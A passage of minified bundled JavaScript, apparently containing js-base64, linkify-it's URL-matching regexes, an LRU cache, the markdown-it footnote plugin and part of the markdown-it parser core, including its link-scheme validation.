r.atob?function(e){return r.atob(e)}:function(e){return e.replace(/\S{1,4}/g,_)},S=function(e){return C(String(e).replace(/[^A-Za-z0-9\+\/]/g,""))},j=function(e){return w(C(e))},x=function(e){return String(e).replace(/[-_]/g,(function(e){return"-"==e?"+":"/"})).replace(/[^A-Za-z0-9\+\/]/g,"")},P=function(e){return j(x(e))};r.Uint8Array&&(k=function(e){return Uint8Array.from(S(x(e)),(function(e){return e.charCodeAt(0)}))});var L=function(){var e=r.Base64;return r.Base64=o,e};if(r.Base64={VERSION:i,atob:S,btoa:h,fromBase64:P,toBase64:b,utob:p,encode:b,encodeURI:v,btou:w,decode:P,noConflict:L,fromUint8Array:a,toUint8Array:k},"function"==typeof Object.defineProperty){var T=function(e){return{value:e,enumerable:!1,writable:!0,configurable:!0}};r.Base64.extendString=function(){Object.defineProperty(String.prototype,"fromBase64",T((function(){return P(this)}))),Object.defineProperty(String.prototype,"toBase64",T((function(e){return b(this,e)}))),Object.defineProperty(String.prototype,"toBase64URI",T((function(){return b(this,!0)})))}}return r.Meteor&&(Base64=r.Base64),e.exports?e.exports.Base64=r.Base64:void 0===(n=function(){return r.Base64}.apply(t,[]))||(e.exports=n),{Base64:r.Base64}}(r)},62232:function(e,t,n){"use strict";function r(e){return Array.prototype.slice.call(arguments,1).forEach((function(t){t&&Object.keys(t).forEach((function(n){e[n]=t[n]}))})),e}function a(e){return Object.prototype.toString.call(e)}function o(e){return"[object Function]"===a(e)}function i(e){return e.replace(/[.?*+^$[\]\\(){}|-]/g,"\\$&")}var s={fuzzyLink:!0,fuzzyEmail:!0,fuzzyIP:!1};var l={"http:":{validate:function(e,t,n){var r=e.slice(t);return n.re.http||(n.re.http=new RegExp("^\\/\\/"+n.re.src_auth+n.re.src_host_port_strict+n.re.src_path,"i")),n.re.http.test(r)?r.match(n.re.http)[0].length:0}},"https:":"http:","ftp:":"http:","//":{validate:function(e,t,n){var r=e.slice(t);return n.re.no_http||(n.re.no_http=new RegExp("^"+n.re.src_auth+"(?:localhost|(?:(?:"+n.re.src_domain+")\\.)+"+n.re.src_domain_root+")"+n.re.src_port+n.re.src_host_terminator+n.re.src_path,"i")),n.re.no_http.test(r)?t>=3&&":"===e[t-3]||t>=3&&"/"===e[t-3]?0:r.match(n.re.no_http)[0].length:0}},"mailto:":{validate:function(e,t,n){var r=e.slice(t);return n.re.mailto||(n.re.mailto=new RegExp("^"+n.re.src_email_name+"@"+n.re.src_host_strict,"i")),n.re.mailto.test(r)?r.match(n.re.mailto)[0].length:0}}},c="a[cdefgilmnoqrstuwxz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvwxyz]|d[ejkmoz]|e[cegrstu]|f[ijkmor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdeghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eosuw]|s[abcdeghijklmnortuvxyz]|t[cdfghjklmnortvwz]|u[agksyz]|v[aceginu]|w[fs]|y[et]|z[amw]",u="biz|com|edu|gov|net|org|pro|web|xxx|aero|asia|coop|info|museum|name|shop|рф".split("|");function d(e){var t=e.re=n(95843)(e.__opts__),r=e.__tlds__.slice();function s(e){return e.replace("%TLDS%",t.src_tlds)}e.onCompile(),e.__tlds_replaced__||r.push(c),r.push(t.src_xn),t.src_tlds=r.join("|"),t.email_fuzzy=RegExp(s(t.tpl_email_fuzzy),"i"),t.link_fuzzy=RegExp(s(t.tpl_link_fuzzy),"i"),t.link_no_ip_fuzzy=RegExp(s(t.tpl_link_no_ip_fuzzy),"i"),t.host_fuzzy_test=RegExp(s(t.tpl_host_fuzzy_test),"i");var l=[];function u(e,t){throw new Error('(LinkifyIt) Invalid schema "'+e+'": '+t)}e.__compiled__={},Object.keys(e.__schemas__).forEach((function(t){var n=e.__schemas__[t];if(null!==n){var r={validate:null,link:null};if(e.__compiled__[t]=r,"[object Object]"===a(n))return!function(e){return"[object RegExp]"===a(e)}(n.validate)?o(n.validate)?r.validate=n.validate:u(t,n):r.validate=function(e){return function(t,n){var r=t.slice(n);return e.test(r)?r.match(e)[0].length:0}}(n.validate),void(o(n.normalize)?r.normalize=n.normalize:n.normalize?u(t,n):r.normalize=function(e,t){t.normalize(e)});!function(e){return"[object String]"===a(e)}(n)?u(t,n):l.push(t)}})),l.forEach((function(t){e.__compiled__[e.__schemas__[t]]&&(e.__compiled__[t].validate=e.__compiled__[e.__schemas__[t]].validate,e.__compiled__[t].normalize=e.__compiled__[e.__schemas__[t]].normalize)})),e.__compiled__[""]={validate:null,normalize:function(e,t){t.normalize(e)}};var d=Object.keys(e.__compiled__).filter((function(t){return t.length>0&&e.__compiled__[t]})).map(i).join("|");e.re.schema_test=RegExp("(^|(?!_)(?:[><|]|"+t.src_ZPCc+"))("+d+")","i"),e.re.schema_search=RegExp("(^|(?!_)(?:[><|]|"+t.src_ZPCc+"))("+d+")","ig"),e.re.pretest=RegExp("("+e.re.schema_test.source+")|("+e.re.host_fuzzy_test.source+")|@","i"),function(e){e.__index__=-1,e.__text_cache__=""}(e)}function p(e,t){var n=e.__index__,r=e.__last_index__,a=e.__text_cache__.slice(n,r);this.schema=e.__schema__.toLowerCase(),this.index=n+t,this.lastIndex=r+t,this.raw=a,this.text=a,this.url=a}function m(e,t){var n=new p(e,t);return e.__compiled__[n.schema].normalize(n,e),n}function h(e,t){if(!(this instanceof h))return new h(e,t);var n;t||(n=e,Object.keys(n||{}).reduce((function(e,t){return e||s.hasOwnProperty(t)}),!1)&&(t=e,e={})),this.__opts__=r({},s,t),this.__index__=-1,this.__last_index__=-1,this.__schema__="",this.__text_cache__="",this.__schemas__=r({},l,e),this.__compiled__={},this.__tlds__=u,this.__tlds_replaced__=!1,this.re={},d(this)}h.prototype.add=function(e,t){return this.__schemas__[e]=t,d(this),this},h.prototype.set=function(e){return this.__opts__=r(this.__opts__,e),this},h.prototype.test=function(e){if(this.__text_cache__=e,this.__index__=-1,!e.length)return!1;var t,n,r,a,o,i,s,l;if(this.re.schema_test.test(e))for((s=this.re.schema_search).lastIndex=0;null!==(t=s.exec(e));)if(a=this.testSchemaAt(e,t[2],s.lastIndex)){this.__schema__=t[2],this.__index__=t.index+t[1].length,this.__last_index__=t.index+t[0].length+a;break}return this.__opts__.fuzzyLink&&this.__compiled__["http:"]&&(l=e.search(this.re.host_fuzzy_test))>=0&&(this.__index__<0||l<this.__index__)&&null!==(n=e.match(this.__opts__.fuzzyIP?this.re.link_fuzzy:this.re.link_no_ip_fuzzy))&&(o=n.index+n[1].length,(this.__index__<0||o<this.__index__)&&(this.__schema__="",this.__index__=o,this.__last_index__=n.index+n[0].length)),this.__opts__.fuzzyEmail&&this.__compiled__["mailto:"]&&e.indexOf("@")>=0&&null!==(r=e.match(this.re.email_fuzzy))&&(o=r.index+r[1].length,i=r.index+r[0].length,(this.__index__<0||o<this.__index__||o===this.__index__&&i>this.__last_index__)&&(this.__schema__="mailto:",this.__index__=o,this.__last_index__=i)),this.__index__>=0},h.prototype.pretest=function(e){return this.re.pretest.test(e)},h.prototype.testSchemaAt=function(e,t,n){return this.__compiled__[t.toLowerCase()]?this.__compiled__[t.toLowerCase()].validate(e,n,this):0},h.prototype.match=function(e){var t=0,n=[];this.__index__>=0&&this.__text_cache__===e&&(n.push(m(this,t)),t=this.__last_index__);for(var r=t?e.slice(t):e;this.test(r);)n.push(m(this,t)),r=r.slice(this.__last_index__),t+=this.__last_index__;return n.length?n:null},h.prototype.tlds=function(e,t){return e=Array.isArray(e)?e:[e],t?(this.__tlds__=this.__tlds__.concat(e).sort().filter((function(e,t,n){return e!==n[t-1]})).reverse(),d(this),this):(this.__tlds__=e.slice(),this.__tlds_replaced__=!0,d(this),this)},h.prototype.normalize=function(e){e.schema||(e.url="http://"+e.url),"mailto:"!==e.schema||/^mailto:/i.test(e.url)||(e.url="mailto:"+e.url)},h.prototype.onCompile=function(){},e.exports=h},95843:function(e,t,n){"use strict";e.exports=function(e){var t={};t.src_Any=n(44957).source,t.src_Cc=n(19590).source,t.src_Z=n(59939).source,t.src_P=n(95162).source,t.src_ZPCc=[t.src_Z,t.src_P,t.src_Cc].join("|"),t.src_ZCc=[t.src_Z,t.src_Cc].join("|");var r="[><|]";return t.src_pseudo_letter="(?:(?![><|]|"+t.src_ZPCc+")"+t.src_Any+")",t.src_ip4="(?:(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)",t.src_auth="(?:(?:(?!"+t.src_ZCc+"|[@/\\[\\]()]).)+@)?",t.src_port="(?::(?:6(?:[0-4]\\d{3}|5(?:[0-4]\\d{2}|5(?:[0-2]\\d|3[0-5])))|[1-5]?\\d{1,4}))?",t.src_host_terminator="(?=$|[><|]|"+t.src_ZPCc+")(?!-|_|:\\d|\\.-|\\.(?!$|"+t.src_ZPCc+"))",t.src_path="(?:[/?#](?:(?!"+t.src_ZCc+"|"+r+"|[()[\\]{}.,\"'?!\\-;]).|\\[(?:(?!"+t.src_ZCc+"|\\]).)*\\]|\\((?:(?!"+t.src_ZCc+"|[)]).)*\\)|\\{(?:(?!"+t.src_ZCc+'|[}]).)*\\}|\\"(?:(?!'+t.src_ZCc+'|["]).)+\\"|\\\'(?:(?!'+t.src_ZCc+"|[']).)+\\'|\\'(?="+t.src_pseudo_letter+"|[-]).|\\.{2,}[a-zA-Z0-9%/&]|\\.(?!"+t.src_ZCc+"|[.]).|"+(e&&e["---"]?"\\-(?!--(?:[^-]|$))(?:-*)|":"\\-+|")+",(?!"+t.src_ZCc+").|;(?!"+t.src_ZCc+").|\\!+(?!"+t.src_ZCc+"|[!]).|\\?(?!"+t.src_ZCc+"|[?]).)+|\\/)?",t.src_email_name='[\\-;:&=\\+\\$,\\.a-zA-Z0-9_][\\-;:&=\\+\\$,\\"\\.a-zA-Z0-9_]*',t.src_xn="xn--[a-z0-9\\-]{1,59}",t.src_domain_root="(?:"+t.src_xn+"|"+t.src_pseudo_letter+"{1,63})",t.src_domain="(?:"+t.src_xn+"|(?:"+t.src_pseudo_letter+")|(?:"+t.src_pseudo_letter+"(?:-|"+t.src_pseudo_letter+"){0,61}"+t.src_pseudo_letter+"))",t.src_host="(?:(?:(?:(?:"+t.src_domain+")\\.)*"+t.src_domain+"))",t.tpl_host_fuzzy="(?:"+t.src_ip4+"|(?:(?:(?:"+t.src_domain+")\\.)+(?:%TLDS%)))",t.tpl_host_no_ip_fuzzy="(?:(?:(?:"+t.src_domain+")\\.)+(?:%TLDS%))",t.src_host_strict=t.src_host+t.src_host_terminator,t.tpl_host_fuzzy_strict=t.tpl_host_fuzzy+t.src_host_terminator,t.src_host_port_strict=t.src_host+t.src_port+t.src_host_terminator,t.tpl_host_port_fuzzy_strict=t.tpl_host_fuzzy+t.src_port+t.src_host_terminator,t.tpl_host_port_no_ip_fuzzy_strict=t.tpl_host_no_ip_fuzzy+t.src_port+t.src_host_terminator,t.tpl_host_fuzzy_test="localhost|www\\.|\\.\\d{1,3}\\.|(?:\\.(?:%TLDS%)(?:"+t.src_ZPCc+"|>|$))",t.tpl_email_fuzzy='(^|[><|]|"|\\(|'+t.src_ZCc+")("+t.src_email_name+"@"+t.tpl_host_fuzzy_strict+")",t.tpl_link_fuzzy="(^|(?![.:/\\-_@])(?:[$+<=>^`||]|"+t.src_ZPCc+"))((?![$+<=>^`||])"+t.tpl_host_port_fuzzy_strict+t.src_path+")",t.tpl_link_no_ip_fuzzy="(^|(?![.:/\\-_@])(?:[$+<=>^`||]|"+t.src_ZPCc+"))((?![$+<=>^`||])"+t.tpl_host_port_no_ip_fuzzy_strict+t.src_path+")",t}},97740:function(e,t,n){"use strict";n.d(t,{U:function(){return r}});function r(e){return e.toLowerCase()}},82746:function(e,t,n){"use strict";const r=n(17811),a=Symbol("max"),o=Symbol("length"),i=Symbol("lengthCalculator"),s=Symbol("allowStale"),l=Symbol("maxAge"),c=Symbol("dispose"),u=Symbol("noDisposeOnSet"),d=Symbol("lruList"),p=Symbol("cache"),m=Symbol("updateAgeOnGet"),h=()=>1;const f=(e,t,n)=>{const r=e[p].get(t);if(r){const t=r.value;if(g(e,t)){if(v(e,r),!e[s])return}else n&&(e[m]&&(r.value.now=Date.now()),e[d].unshiftNode(r));return t.value}},g=(e,t)=>{if(!t||!t.maxAge&&!e[l])return!1;const n=Date.now()-t.now;return t.maxAge?n>t.maxAge:e[l]&&n>e[l]},b=e=>{if(e[o]>e[a])for(let t=e[d].tail;e[o]>e[a]&&null!==t;){const n=t.prev;v(e,t),t=n}},v=(e,t)=>{if(t){const n=t.value;e[c]&&e[c](n.key,n.value),e[o]-=n.length,e[p].delete(n.key),e[d].removeNode(t)}};class k{constructor(e,t,n,r,a){this.key=e,this.value=t,this.length=n,this.now=r,this.maxAge=a||0}}const y=(e,t,n,r)=>{let a=n.value;g(e,a)&&(v(e,n),e[s]||(a=void 0)),a&&t.call(r,a.value,a.key,e)};e.exports=class{constructor(e){if("number"==typeof e&&(e={max:e}),e||(e={}),e.max&&("number"!=typeof e.max||e.max<0))throw new TypeError("max must be a non-negative number");this[a]=e.max||1/0;const t=e.length||h;if(this[i]="function"!=typeof t?h:t,this[s]=e.stale||!1,e.maxAge&&"number"!=typeof e.maxAge)throw new TypeError("maxAge must be a number");this[l]=e.maxAge||0,this[c]=e.dispose,this[u]=e.noDisposeOnSet||!1,this[m]=e.updateAgeOnGet||!1,this.reset()}set max(e){if("number"!=typeof e||e<0)throw new TypeError("max must be a non-negative number");this[a]=e||1/0,b(this)}get max(){return this[a]}set allowStale(e){this[s]=!!e}get allowStale(){return this[s]}set maxAge(e){if("number"!=typeof e)throw new TypeError("maxAge must be a non-negative number");this[l]=e,b(this)}get maxAge(){return this[l]}set lengthCalculator(e){"function"!=typeof e&&(e=h),e!==this[i]&&(this[i]=e,this[o]=0,this[d].forEach((e=>{e.length=this[i](e.value,e.key),this[o]+=e.length}))),b(this)}get lengthCalculator(){return this[i]}get length(){return this[o]}get itemCount(){return this[d].length}rforEach(e,t){t=t||this;for(let n=this[d].tail;null!==n;){const r=n.prev;y(this,e,n,t),n=r}}forEach(e,t){t=t||this;for(let n=this[d].head;null!==n;){const r=n.next;y(this,e,n,t),n=r}}keys(){return this[d].toArray().map((e=>e.key))}values(){return this[d].toArray().map((e=>e.value))}reset(){this[c]&&this[d]&&this[d].length&&this[d].forEach((e=>this[c](e.key,e.value))),this[p]=new Map,this[d]=new r,this[o]=0}dump(){return this[d].map((e=>!g(this,e)&&{k:e.key,v:e.value,e:e.now+(e.maxAge||0)})).toArray().filter((e=>e))}dumpLru(){return this[d]}set(e,t,n){if((n=n||this[l])&&"number"!=typeof n)throw new TypeError("maxAge must be a number");const r=n?Date.now():0,s=this[i](t,e);if(this[p].has(e)){if(s>this[a])return v(this,this[p].get(e)),!1;const i=this[p].get(e).value;return this[c]&&(this[u]||this[c](e,i.value)),i.now=r,i.maxAge=n,i.value=t,this[o]+=s-i.length,i.length=s,this.get(e),b(this),!0}const m=new k(e,t,s,r,n);return m.length>this[a]?(this[c]&&this[c](e,t),!1):(this[o]+=m.length,this[d].unshift(m),this[p].set(e,this[d].head),b(this),!0)}has(e){if(!this[p].has(e))return!1;const t=this[p].get(e).value;return!g(this,t)}get(e){return f(this,e,!0)}peek(e){return f(this,e,!1)}pop(){const e=this[d].tail;return e?(v(this,e),e.value):null}del(e){v(this,this[p].get(e))}load(e){this.reset();const t=Date.now();for(let n=e.length-1;n>=0;n--){const r=e[n],a=r.e||0;if(0===a)this.set(r.k,r.v);else{const e=a-t;e>0&&this.set(r.k,r.v,e)}}}prune(){this[p].forEach(((e,t)=>f(this,t,!1)))}}},82339:function(e){"use strict";function t(e,t,n,r){var a=Number(e[t].meta.id+1).toString(),o="";return"string"==typeof r.docId&&(o="-"+r.docId+"-"),o+a}function n(e,t){var n=Number(e[t].meta.id+1).toString();return e[t].meta.subId>0&&(n+=":"+e[t].meta.subId),"["+n+"]"}function r(e,t,n,r,a){var o=a.rules.footnote_anchor_name(e,t,n,r,a),i=a.rules.footnote_caption(e,t,n,r,a),s=o;return e[t].meta.subId>0&&(s+=":"+e[t].meta.subId),'<sup class="footnote-ref"><a href="#fn'+o+'" id="fnref'+s+'">'+i+"</a></sup>"}function a(e,t,n){return(n.xhtmlOut?'<hr class="footnotes-sep" />\n':'<hr class="footnotes-sep">\n')+'<section class="footnotes">\n<ol class="footnotes-list">\n'}function o(){return"</ol>\n</section>\n"}function i(e,t,n,r,a){var o=a.rules.footnote_anchor_name(e,t,n,r,a);return e[t].meta.subId>0&&(o+=":"+e[t].meta.subId),'<li id="fn'+o+'" class="footnote-item">'}function s(){return"</li>\n"}function l(e,t,n,r,a){var o=a.rules.footnote_anchor_name(e,t,n,r,a);return e[t].meta.subId>0&&(o+=":"+e[t].meta.subId),' <a href="#fnref'+o+'" class="footnote-backref">↩︎</a>'}e.exports=function(e){var c=e.helpers.parseLinkLabel,u=e.utils.isSpace;e.renderer.rules.footnote_ref=r,e.renderer.rules.footnote_block_open=a,e.renderer.rules.footnote_block_close=o,e.renderer.rules.footnote_open=i,e.renderer.rules.footnote_close=s,e.renderer.rules.footnote_anchor=l,e.renderer.rules.footnote_caption=n,e.renderer.rules.footnote_anchor_name=t,e.block.ruler.before("reference","footnote_def",(function(e,t,n,r){var a,o,i,s,l,c,d,p,m,h,f,g=e.bMarks[t]+e.tShift[t],b=e.eMarks[t];if(g+4>b)return!1;if(91!==e.src.charCodeAt(g))return!1;if(94!==e.src.charCodeAt(g+1))return!1;for(l=g+2;l<b;l++){if(32===e.src.charCodeAt(l))return!1;if(93===e.src.charCodeAt(l))break}if(l===g+2)return!1;if(l+1>=b||58!==e.src.charCodeAt(++l))return!1;if(r)return!0;for(l++,e.env.footnotes||(e.env.footnotes={}),e.env.footnotes.refs||(e.env.footnotes.refs={}),c=e.src.slice(g+2,l-2),e.env.footnotes.refs[":"+c]=-1,(d=new e.Token("footnote_reference_open","",1)).meta={label:c},d.level=e.level++,e.tokens.push(d),a=e.bMarks[t],o=e.tShift[t],i=e.sCount[t],s=e.parentType,f=l,p=m=e.sCount[t]+l-(e.bMarks[t]+e.tShift[t]);l<b&&(h=e.src.charCodeAt(l),u(h));)9===h?m+=4-m%4:m++,l++;return e.tShift[t]=l-f,e.sCount[t]=m-p,e.bMarks[t]=f,e.blkIndent+=4,e.parentType="footnote",e.sCount[t]<e.blkIndent&&(e.sCount[t]+=e.blkIndent),e.md.block.tokenize(e,t,n,!0),e.parentType=s,e.blkIndent-=4,e.tShift[t]=o,e.sCount[t]=i,e.bMarks[t]=a,(d=new e.Token("footnote_reference_close","",-1)).level=--e.level,e.tokens.push(d),!0}),{alt:["paragraph","reference"]}),e.inline.ruler.after("image","footnote_inline",(function(e,t){var n,r,a,o,i=e.posMax,s=e.pos;return!(s+2>=i)&&(94===e.src.charCodeAt(s)&&(91===e.src.charCodeAt(s+1)&&(n=s+2,!((r=c(e,s+1))<0)&&(t||(e.env.footnotes||(e.env.footnotes={}),e.env.footnotes.list||(e.env.footnotes.list=[]),a=e.env.footnotes.list.length,e.md.inline.parse(e.src.slice(n,r),e.md,e.env,o=[]),e.push("footnote_ref","",0).meta={id:a},e.env.footnotes.list[a]={content:e.src.slice(n,r),tokens:o}),e.pos=r+1,e.posMax=i,!0))))})),e.inline.ruler.after("footnote_inline","footnote_ref",(function(e,t){var n,r,a,o,i=e.posMax,s=e.pos;if(s+3>i)return!1;if(!e.env.footnotes||!e.env.footnotes.refs)return!1;if(91!==e.src.charCodeAt(s))return!1;if(94!==e.src.charCodeAt(s+1))return!1;for(r=s+2;r<i;r++){if(32===e.src.charCodeAt(r))return!1;if(10===e.src.charCodeAt(r))return!1;if(93===e.src.charCodeAt(r))break}return r!==s+2&&(!(r>=i)&&(r++,n=e.src.slice(s+2,r-1),void 0!==e.env.footnotes.refs[":"+n]&&(t||(e.env.footnotes.list||(e.env.footnotes.list=[]),e.env.footnotes.refs[":"+n]<0?(a=e.env.footnotes.list.length,e.env.footnotes.list[a]={label:n,count:0},e.env.footnotes.refs[":"+n]=a):a=e.env.footnotes.refs[":"+n],o=e.env.footnotes.list[a].count,e.env.footnotes.list[a].count++,e.push("footnote_ref","",0).meta={id:a,subId:o,label:n}),e.pos=r,e.posMax=i,!0)))})),e.core.ruler.after("inline","footnote_tail",(function(e){var t,n,r,a,o,i,s,l,c,u,d=!1,p={};if(e.env.footnotes&&(e.tokens=e.tokens.filter((function(e){return"footnote_reference_open"===e.type?(d=!0,c=[],u=e.meta.label,!1):"footnote_reference_close"===e.type?(d=!1,p[":"+u]=c,!1):(d&&c.push(e),!d)})),e.env.footnotes.list)){for(i=e.env.footnotes.list,s=new e.Token("footnote_block_open","",1),e.tokens.push(s),t=0,n=i.length;t<n;t++){for((s=new e.Token("footnote_open","",1)).meta={id:t,label:i[t].label},e.tokens.push(s),i[t].tokens?(l=[],(s=new e.Token("paragraph_open","p",1)).block=!0,l.push(s),(s=new e.Token("inline","",0)).children=i[t].tokens,s.content=i[t].content,l.push(s),(s=new e.Token("paragraph_close","p",-1)).block=!0,l.push(s)):i[t].label&&(l=p[":"+i[t].label]),l&&(e.tokens=e.tokens.concat(l)),o="paragraph_close"===e.tokens[e.tokens.length-1].type?e.tokens.pop():null,a=i[t].count>0?i[t].count:1,r=0;r<a;r++)(s=new e.Token("footnote_anchor","",0)).meta={id:t,subId:r,label:i[t].label},e.tokens.push(s);o&&e.tokens.push(o),s=new e.Token("footnote_close","",-1),e.tokens.push(s)}s=new e.Token("footnote_block_close","",-1),e.tokens.push(s)}}))}},10185:function(e,t,n){"use strict";e.exports=n(9702)},38337:function(e,t,n){"use strict";e.exports=n(84321)},43093:function(e){"use strict";e.exports=["address","article","aside","base","basefont","blockquote","body","caption","center","col","colgroup","dd","details","dialog","dir","div","dl","dt","fieldset","figcaption","figure","footer","form","frame","frameset","h1","h2","h3","h4","h5","h6","head","header","hr","html","iframe","legend","li","link","main","menu","menuitem","nav","noframes","ol","optgroup","option","p","param","section","source","summary","table","tbody","td","tfoot","th","thead","title","tr","track","ul"]},36570:function(e){"use strict";var t="<[A-Za-z][A-Za-z0-9\\-]*(?:\\s+[a-zA-Z_:][a-zA-Z0-9:._-]*(?:\\s*=\\s*(?:[^\"'=<>`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*\\/?>",n="<\\/[A-Za-z][A-Za-z0-9\\-]*\\s*>",r=new RegExp("^(?:"+t+"|"+n+"|\x3c!----\x3e|\x3c!--(?:-?[^>-])(?:-?[^-])*--\x3e|<[?][\\s\\S]*?[?]>|<![A-Z]+\\s+[^>]*>|<!\\[CDATA\\[[\\s\\S]*?\\]\\]>)"),a=new RegExp("^(?:"+t+"|"+n+")");e.exports.n=r,e.exports.q=a},39615:function(e,t,n){"use strict";var r=Object.prototype.hasOwnProperty;function a(e,t){return r.call(e,t)}function o(e){return!(e>=55296&&e<=57343)&&(!(e>=64976&&e<=65007)&&(65535!=(65535&e)&&65534!=(65535&e)&&(!(e>=0&&e<=8)&&(11!==e&&(!(e>=14&&e<=31)&&(!(e>=127&&e<=159)&&!(e>1114111)))))))}function i(e){if(e>65535){var t=55296+((e-=65536)>>10),n=56320+(1023&e);return String.fromCharCode(t,n)}return String.fromCharCode(e)}var s=/\\([!"#$%&'()*+,\-.\/:;<=>?@[\\\]^_`{|}~])/g,l=new RegExp(s.source+"|"+/&([a-z#][a-z0-9]{1,31});/gi.source,"gi"),c=/^#((?:x[a-f0-9]{1,8}|[0-9]{1,8}))/i,u=n(38337);var d=/[&<>"]/,p=/[&<>"]/g,m={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;"};function h(e){return m[e]}var f=/[.?*+^$[\]\\(){}|-]/g;var g=n(95162);t.lib={},t.lib.mdurl=n(49236),t.lib.ucmicro=n(84353),t.assign=function(e){return Array.prototype.slice.call(arguments,1).forEach((function(t){if(t){if("object"!=typeof t)throw new TypeError(t+"must be object");Object.keys(t).forEach((function(n){e[n]=t[n]}))}})),e},t.isString=function(e){return"[object String]"===function(e){return Object.prototype.toString.call(e)}(e)},t.has=a,t.unescapeMd=function(e){return e.indexOf("\\")<0?e:e.replace(s,"$1")},t.unescapeAll=function(e){return e.indexOf("\\")<0&&e.indexOf("&")<0?e:e.replace(l,(function(e,t,n){return t||function(e,t){var n=0;return a(u,t)?u[t]:35===t.charCodeAt(0)&&c.test(t)&&o(n="x"===t[1].toLowerCase()?parseInt(t.slice(2),16):parseInt(t.slice(1),10))?i(n):e}(e,n)}))},t.isValidEntityCode=o,t.fromCodePoint=i,t.escapeHtml=function(e){return d.test(e)?e.replace(p,h):e},t.arrayReplaceAt=function(e,t,n){return[].concat(e.slice(0,t),n,e.slice(t+1))},t.isSpace=function(e){switch(e){case 9:case 32:return!0}return!1},t.isWhiteSpace=function(e){if(e>=8192&&e<=8202)return!0;switch(e){case 9:case 10:case 11:case 12:case 13:case 32:case 160:case 5760:case 8239:case 8287:case 12288:return!0}return!1},t.isMdAsciiPunct=function(e){switch(e){case 33:case 34:case 35:case 36:case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:case 47:case 58:case 59:case 60:case 61:case 62:case 63:case 64:case 91:case 92:case 93:case 94:case 95:case 96:case 123:case 124:case 125:case 126:return!0;default:return!1}},t.isPunctChar=function(e){return g.test(e)},t.escapeRE=function(e){return e.replace(f,"\\$&")},t.normalizeReference=function(e){return e=e.trim().replace(/\s+/g," "),"Ṿ"==="ẞ".toLowerCase()&&(e=e.replace(/ẞ/g,"ß")),e.toLowerCase().toUpperCase()}},57007:function(e,t,n){"use strict";t.parseLinkLabel=n(82174),t.parseLinkDestination=n(36990),t.parseLinkTitle=n(15336)},36990:function(e,t,n){"use strict";var r=n(39615).unescapeAll;e.exports=function(e,t,n){var a,o,i=t,s={ok:!1,pos:0,lines:0,str:""};if(60===e.charCodeAt(t)){for(t++;t<n;){if(10===(a=e.charCodeAt(t)))return s;if(60===a)return s;if(62===a)return s.pos=t+1,s.str=r(e.slice(i+1,t)),s.ok=!0,s;92===a&&t+1<n?t+=2:t++}return s}for(o=0;t<n&&32!==(a=e.charCodeAt(t))&&!(a<32||127===a);)if(92===a&&t+1<n){if(32===e.charCodeAt(t+1))break;t+=2}else{if(40===a&&++o>32)return s;if(41===a){if(0===o)break;o--}t++}return i===t||0!==o||(s.str=r(e.slice(i,t)),s.lines=0,s.pos=t,s.ok=!0),s}},82174:function(e){"use strict";e.exports=function(e,t,n){var r,a,o,i,s=-1,l=e.posMax,c=e.pos;for(e.pos=t+1,r=1;e.pos<l;){if(93===(o=e.src.charCodeAt(e.pos))&&0===--r){a=!0;break}if(i=e.pos,e.md.inline.skipToken(e),91===o)if(i===e.pos-1)r++;else if(n)return e.pos=c,-1}return a&&(s=e.pos),e.pos=c,s}},15336:function(e,t,n){"use strict";var r=n(39615).unescapeAll;e.exports=function(e,t,n){var a,o,i=0,s=t,l={ok:!1,pos:0,lines:0,str:""};if(t>=n)return l;if(34!==(o=e.charCodeAt(t))&&39!==o&&40!==o)return l;for(t++,40===o&&(o=41);t<n;){if((a=e.charCodeAt(t))===o)return l.pos=t+1,l.lines=i,l.str=r(e.slice(s+1,t)),l.ok=!0,l;if(40===a&&41===o)return l;10===a?i++:92===a&&t+1<n&&(t++,10===e.charCodeAt(t)&&i++),t++}return l}},9702:function(e,t,n){"use strict";var r=n(39615),a=n(57007),o=n(42403),i=n(17742),s=n(99575),l=n(37487),c=n(62232),u=n(49236),d=n(60300),p={default:n(66223),zero:n(11582),commonmark:n(9372)},m=/^(vbscript|javascript|file|data):/,h=/^data:image\/(gif|png|jpeg|webp);/;function f(e){var t=e.trim().toLowerCase();return!m.test(t)||!!h.test(t)}var g=["http:","https:","mailto:"];function b(e){var t=u.parse(e,!0);if(t.hostname&&(!t.protocol||g.indexOf(t.protocol)>=0))try{t.hostname=d.toASCII(t.hostname)}catch(e){}return u.encode(u.format(t))}function v(e){var t=u.parse(e,!0);if(t.hostname&&(!t.protocol||g.indexOf(t.protocol)>=0))try{t.hostname=d.toUnicode(t.hostname)}catch(e){}return u.decode(u.format(t),u.decode.defaultChars+"%")}function k(e,t){if(!(this instanceof k))return new k(e,t);t||r.isString(e)||(t=e||{},e="default"),this.inline=new l,this.block=new s,this.core=new i,this.renderer=new o,this.linkify=new c,this.validateLink=f,this.normalizeLink=b,this.normalizeLinkText=v,this.utils=r,this.helpers=r.assign({},a),this.options={},this.configure(e),t&&this.set(t)}k.prototype.set=function(e){return r.assign(this.options,e),this},k.prototype.configure=function(e){var t,n=this;if(r.isString(e)&&!(e=p[t=e]))throw new Error('Wrong `markdown-it` preset "'+t+'", check name');if(!e)throw new Error("Wrong `markdown-it` preset, can't be empty");return e.options&&n.set(e.options),e.components&&Object.keys(e.components).forEach((function(t){e.components[t].rules&&n[t].ruler.enableOnly(e.components[t].rules),e.components[t].rules2&&n[t].ruler2.enableOnly(e.components[t].rules2)})),this},k.prototype.enable=function(e,t){var n=[];Array.isArray(e)||(e=[e]),["core","block","inline"].forEach((function(t){n=n.concat(this[t].ruler.enable(e,!0))}),this),n=n.concat(this.inline.ruler2.enable(e,!0));var r=e.filter((function(e){return n.indexOf(e)<0}));if(r.length&&!t)throw new Error("MarkdownIt. Failed to enable unknown rule(s): "+r);return this},k.prototype.disable=function(e,t){var n=[];Array.isArray(e)||(e=[e]),["core","block","inline"].forEach((function(t){n=n.concat(this[t].ruler.disable(e,!0))}),this),n=n.concat(this.inline.ruler2.disable(e,!0));var r=e.filter((function(e){return 